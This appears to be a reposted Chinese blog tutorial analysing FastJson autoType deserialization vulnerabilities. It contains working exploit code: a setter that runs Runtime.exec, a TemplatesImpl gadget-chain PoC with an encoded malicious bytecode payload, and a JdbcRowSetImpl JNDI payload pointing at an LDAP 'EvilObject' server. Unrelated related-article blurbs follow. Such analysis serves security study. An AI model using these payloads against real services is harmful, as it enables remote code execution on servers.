网络安全之反序列化漏洞分析

简介

FastJson 是 alibaba 的一款开源 JSON 解析库,可用于将 Java 对象转换为其 JSON 表示形式,也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过toJSONStringparseObject/parse来实现序列化和反序列化。

使用

对于序列化的方法toJSONString()有多个重载形式。

  1. SerializeFeature: 通过设置多个特性到FastjsonConfig中全局使用, 也可以在使用具体方法中指定特性

  2. SerializeFilter: 一个接口, 通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化

  3. SerializeConfig: 添加特点类型自定义的序列化配置

对于反序列化的方法parseObject()也同样有多个重载形式。

【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年 CTF 夺旗赛题解析

序列化操作

可以发现这两个的区别,如果使用了 toJSONString()的属性值SerializerFeature.WriteClassName,就会在序列化的时候多写入一个@type后面跟着的是反序列化的类名。

反序列化操作

package pers.fastjson;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;
public class UnSerialTest {    public static void main(String[] args) {        String jsonStringWithType = "{\"@type\":\"pers.fastjson.Student\",\"name\":\"RoboTerh\"}";        String jsonStringWithoutType = "{\"name\":\"RoboTerh\"}";
        System.out.println("use JSON.parse with type......");        Object o1 = JSON.parse(jsonStringWithType);        System.out.println(o1);        System.out.println("------------------------------------");
        System.out.println("use JSON.parse without type....");        Object o2 = JSON.parse(jsonStringWithoutType);        System.out.println(o2);        System.out.println("-------------------------------------");
        System.out.println("use JSON.parseObject with type.......");        JSONObject o3 = JSON.parseObject(jsonStringWithType);        System.out.println(o3);        System.out.println("--------------------------------------");
        System.out.println("use JSON.parseObject without type.........");        JSONObject o4 = JSON.parseObject(jsonStringWithoutType);        System.out.println(o4);        System.out.println("----------------------------------------");
        System.out.println("use JSON.parseObject without type but hava .Class");        Student o5 = JSON.parseObject(jsonStringWithoutType, Student.class);        System.out.println(o5);    }}

复制代码

可以通过结果发现 1 和 5 成功反序列化,没成功都是因为没有确定需要反序列化的类。

我们可以发现,在引入了@type之后,JSON.parseObject调用了getter/setter方法,JSON.parse调用了setter方法。

当然,其他的方式也是可以调用getter方法的,但是有条件限制:

条件一、方法名需要长于 4 条件二、不是静态方法条件三、以 get 字符串开头,且第四个字符需要是大写字母条件四、方法不能有参数传条件五、继承自 Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong 条件六、此 getter 不能有 setter 方法(程序会先将目标类中所有的 setter 加入 fieldList 列表,因此可以通过读取 fieldList 列表来判断此类中的 getter 方法有没有 setter)

因为fastjson存在autoType机制, 当用户指定@type时, 存在调用恶意setter/getter的情况, 这就是fastjson反序列化漏洞。

简单的漏洞

//Evil.javapackage pers.fastjson;
import java.io.IOException;
public class Evil {    private String name;
    public Evil () {        System.out.println("构造方法");    }    public void setName(String name) throws IOException {        this.name = name;        System.out.println("调用了setName方法");        Runtime.getRuntime().exec("calc");    }    public String getName() {        System.out.println("调用了getName方法");        return name;    }}

复制代码

//EvilTest.javapackage pers.fastjson;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;
public class EvilTest {    public static void main(String[] args) {        String jsonString = "{\"@type\":\"pers.fastjson.Evil\",\"name\":\"RoboTerh\"}";        JSONObject o = JSON.parseObject(jsonString);        System.out.println(o);    }}

复制代码

成功弹出了计算器,

我们调式分析分析,

JSON.parseObject处下的断点。

首先使用了 parse()方法进行反序列化操作。

JSON.parse(String text, int features)创建了DefaultJSONParser对象。

在成功创建了该对象之后通过判断ch{ / [为 token 赋值,这里是 12。

DefaultJSONParser#parse方法中通过判断 token 的值,进入创建了一个JSONObject对象。

parseObject方法, 这里会通过scanSymbol获取到@type指定类, 然后通过TypeUtils.loadClass方法加载Class.

先是首先在 maping 中寻找 JDK 的内置类,没有找到之后使用 ClassLoader 寻找,得到clazz的之后进行返回

创建了ObjectDeserializer并且调用了getDeserializer方法。

Templateslmpl 利用链

如果一个类中的getter满足调用条件而且存在可利用点,攻击链就产生了。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中就存在一个私有变量_outputProperties,他的getter方法就满足在反序列化的时候的调用条件。

分析利用链,

从漏洞触发点开始Templateslmpl#getTransletInstance方法。

这里通过调用_class[_transletIndex]newInstance()方法进行实例化操作,我们追踪_class[_transletIndex]的出处,看看是否可以控制,进行恶意操作。

值得注意的是,我们想要达到漏洞点,在getTransletInstance()方法的两个 if 语句中,我们需要保证他的_name这个私有属性不为空,否则就直接返回了 null,而不会达到漏洞点。

在第二个语句中就是通过defineTransletClasses()方法获得了_class_transletIndex的值,进入它。

首先判断_bytecodes是否为空,这里的_bytecodes同样是Templateslmpl类的成员变量,可控

如果这里不为空的话,就会执行。

而且这里如果_tfactory不为空的话,就会导致出现异常,然后返回,不会继续执行程序,我们需要保证它不为 null,虽然他也是Templateslmpl类的成员变量,但是他没有对应的setter,我们可以通过Feature.SupportNonPublicField来进行修改。

接着走,在后面有一个 for 循环,

通过loader.defineClass修饰之后将_bytecodes[i]赋值给_class[i],跟进 defineClass 方法。

他是ClassLoaderdefineClass的重写,作用是将字节码转化为 Class,

转回defineTransletClasses,在 if 判断语句中,如果它是 main class 的时候我们就为_transletIndex赋值。

现在重新回到getTranslateInstance()方法,现在这里的_class[_translateIndex]就是我们为_bytecodes赋值的恶意 class,我们这里将他给实例化了,成功利用恶意类,

现在我们可以知道getTranslateInstance()是可以执行恶意类的,我们搜索在Templateslmpl类中什么调用了这个方法的。

可以发现在newTransformer()方法中使用了 getTransletInstance()方法。

继续搜索在哪里调用了 newTransformer()方法。

getOutputProperties()方法调用了他,而且这个方法,在反序列化的时候会被调用,现在,这个利用链就完整了。

//利用链getOutputProperties()    newTransformer()      getTransletInstance()        defineTransletClasses()      _class[_transletIndex].newInstance()

复制代码

POC

package pers.fastjson;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.codec.binary.Base64;
import java.io.IOException;
public class Fj24POC {    public static class RoboTerh {
    }    public static String makeClasses() throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();        CtClass cc = pool.get(RoboTerh.class.getName());        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";        cc.makeClassInitializer().insertBefore(cmd);        String randomClassName = "RoboTerh" + System.nanoTime();        cc.setName(randomClassName);        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));        byte[] evilCodes = cc.toBytecode();
        return Base64.encodeBase64String(evilCodes);    }
    public static String exploitString() throws NotFoundException, CannotCompileException, IOException {        String evilCodeBase64 = makeClasses();        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";        String exploit = "{'RoboTerh':{" +                "\"@type\":\"" + NASTY_CLASS + "\"," +                "\"_bytecodes\":[\"" + evilCodeBase64 + "\"]," +                "'_name':'RoboTerh'," +                "'_tfactory':{ }," +                "'_outputProperties':{ }" +                "}}\n";
        return exploit;    }
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {        String exploit = exploitString();        System.out.println(exploit);        //JSON.parse(exploit, Feature.SupportNonPublicField);        //JSON.parseObject(exploit, Feature.SupportNonPublicField);        JSON.parseObject(exploit, Object.class, Feature.SupportNonPublicField);    }}

复制代码

//payload{"RoboTerh":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhSb2JvVGVyaAEADElubmVyQ2xhc3NlcwEAIExwZXJzL2Zhc3Rqc29uL0ZqMjRQT0MkUmib1Rlcmg7AQAKU291cmNlRmlsZQEADEZqMjRQT0MuamF2YQwABAAFBwATAQAecGVycy9mYXN0anNvbi9GajI0UE9DJFJvYmUZXJoAQAQamF2YS9sYW5nL09iamVjdAEAFXBlcnMvZmFzdGpzb24vRmoyNFBPQwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFlJvY9UZXJoMjY5OTQ4OTExMjAwMDABABhMUmib1RlcmgyNjk5NDg5MTEyMDAwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAAPAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk="],'_name':'RoboTerh','_tfactory':{ },'_outputProperties':{ }}}

复制代码

条件限制

需要开启Feature.SupportNonPublicField这个特性。

JdbcRowSetImpl 利用链

分析利用链

JdbcRowSetImpl类位于com.sun.rowset.JdbcRowSetImpl中,它本身没有实现Serializeble接口,但是他是BaseRowSet类的子类,该类实现了该接口,所以它可以进行序列化。

链子的核心触发点是javax.naming.InitialContext#lookup的参数可控造成的漏洞。

JdbcRowSetImpl#setAutoCommit中如果this.conn为空的时候,就会调用this.connect方法。

然后在 connect 方法中就会调用Javax.naming.InitialContext#lookup方法,参数是dataSourceName成员变量。

//调用链JdbcRowSetImpl对象    getDataSource      setAutocommit方法        context.lookup(datasourcename)

复制代码

POC

package pers.fastjson;
import com.alibaba.fastjson.JSON;
public class Fj24_Jdbc_POC {    public static void main(String[] args) {        String payload = "{" +                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +                "\"dataSourceName\":\"ldap://127.0.0.1:8888/EvilObject\"," +                "\"autoCommit\":\"true\"," +                "}";        //JSON.parseObject(payload); 成功        //JSON.parse(payload); 成功        JSON.parseObject(payload, Object.class);    }}

复制代码

//payload{"RoboTerh":{  "@type":"com.sun.rowset.JdbcRowSetImpl",  "dataSourceName":"ldap://127.0.0.1:8888/evilObject",  "autoCommit":true}}

复制代码

条件限制,

使用了 JNDI 注入,利用条件相对较低,但是需要连接远程恶意服务器,需要在有网的情况下执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/8634.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Tomcat 部署优化

目录 一.Tomcat介绍 二.了解Tomcat里面里面是放什么的 三. Tomcat:是一个特殊的服务 有两个领域 四.tomcat概述 五.再加上那个扩展java虚拟机(JVM) 调优 tomcat 优化分两种 六.Tomcat核心组件 ​编辑 容器:什么是容器 …

C/C++内存管理详解

去年的今日,博主第一次发文,那时初出茅庐,没什么经验。时隔一年,更加优质的博文献上,希望可以帮助到更多的人❤️❤️❤️ 文章目录 💬 前言一、C/C内存分布二、C语言中动态内存管理方式三、C内存管理方式1…

密码学—Vigenere破解Python程序

文章目录 概要预备知识点学习整体流程技术名词解释技术细节小结代码 概要 破解Vigenere需要Kasiski测试法与重合指数法的理论基础 具体知识点细节看下面这两篇文章 预备知识点学习 下面两个是结合起来使用猜测密钥长度的,只有确认了密钥长度之后才可以进行破解。 …

旅游卡app软件开发解决方案

旅游业的不断发展,旅游卡作为一种便捷的旅游方式越来越受到人们的青睐。旅游卡可以帮助游客节省旅游开支,同时也能让游客更好地规划自己的旅游行程。针对这种情况,开发一款旅游卡app软件是非常必要的。本文将介绍旅游卡app软件开发的解决方案…

基于高校图书馆的用户画像、可视化、模型预测、推荐算法项目实现

需要本项目的可以私信博主获取源码及项目!!! 本研究基于高校图书馆的借阅信息、馆藏图书信息、读者入馆信息、用户信息等多维度的数据表,首先将不同年份的数据拼接在一起,按照时间维度进行整合,并保证数据…

JVM原理:JVM运行时内存模型(通俗易懂)

目录 前言正文虚拟机栈局部变量表操作数栈动态链接方法返回地址 本地方法栈本地方法存在的意义本地方法的调用 虚拟机堆堆结构Eden区Survivor区域老年代Old区常用参数指令 方法区常量池 运行时常量池方法信息类信息域信息JDK1.7前的方法区JDK1.7时的方法区JDK1.7后的方法区 程序…

【MYSQL篇】Update语句原理详解

文章目录 前言缓冲池Buffer PoolInnoDB 内存结构redo logundo logBinlog 总结 前言 前面的文章我们已经对MySQL的查询语句的执行流程进行了说明,感兴趣的可以去看看: 【MySQL篇】Select语句原理详解 本篇文章我们来聊聊 MySQL更新语句的执行原理。更新…

【JavaSE】方法

目录 【1】一个小例子 【2】方法概念及使用 【2.1】什么是方法(method) 【2.2】方法定义 【2.3】方法调用的执行过程 【2.4】实参和形参的关系(重要) 【1.5】没有返回值的方法 【2】函数重载 【2.1】为什么需要方法重载 【2.2】方法重载概念 【2.3】方法签名 【3】…

卷积神经网络--猫狗系列之下载、导入数据集

(由于是学习,所以文章会有一些报错及解决办法) 在Kaggle()获取数据集:(没有账号先去注册一个账号,在注册时可能会出现的问题见Kaggle注册出现一排“Captcha must be filled out.”!) https://www.kaggle.…

vue3+wangEditor5/vue-quill自定义上传音频+视频

一.各种编辑器分析 Quill 这是另一个常用的富文本编辑器,它提供了许多可定制的功能和事件,并且也有一2个官方的 Vue 3 组件 wangEditor5 wangEditor5用在Vue3中自定义扩展音频、视频、图片菜单;并扩展音频元素节点,保证音频节…

曝光调整和曝光融合论文粗读

曝光调整论文调研 M. Afifi, K. G. Derpanis, B. Ommer and M. S. Brown, “Learning Multi-Scale Photo Exposure Correction,” 2021 IEEE/CVF Conference on Computer Vision and Pattern Recognition (CVPR), Nashville, TN, USA, 2021, pp. 9153-9163, doi: 10.1109/CVPR4…

linux epoll/select使用区分和实例对比

Linux内核poll,ppoll,epoll,select代码位置: poll,ppoll,select相关内核实现在在fs/select.c中; epoll_ctl和epoll_wait相关函数在fs/eventpoll.c中 epoll实测不支持监听普通文件,select可以…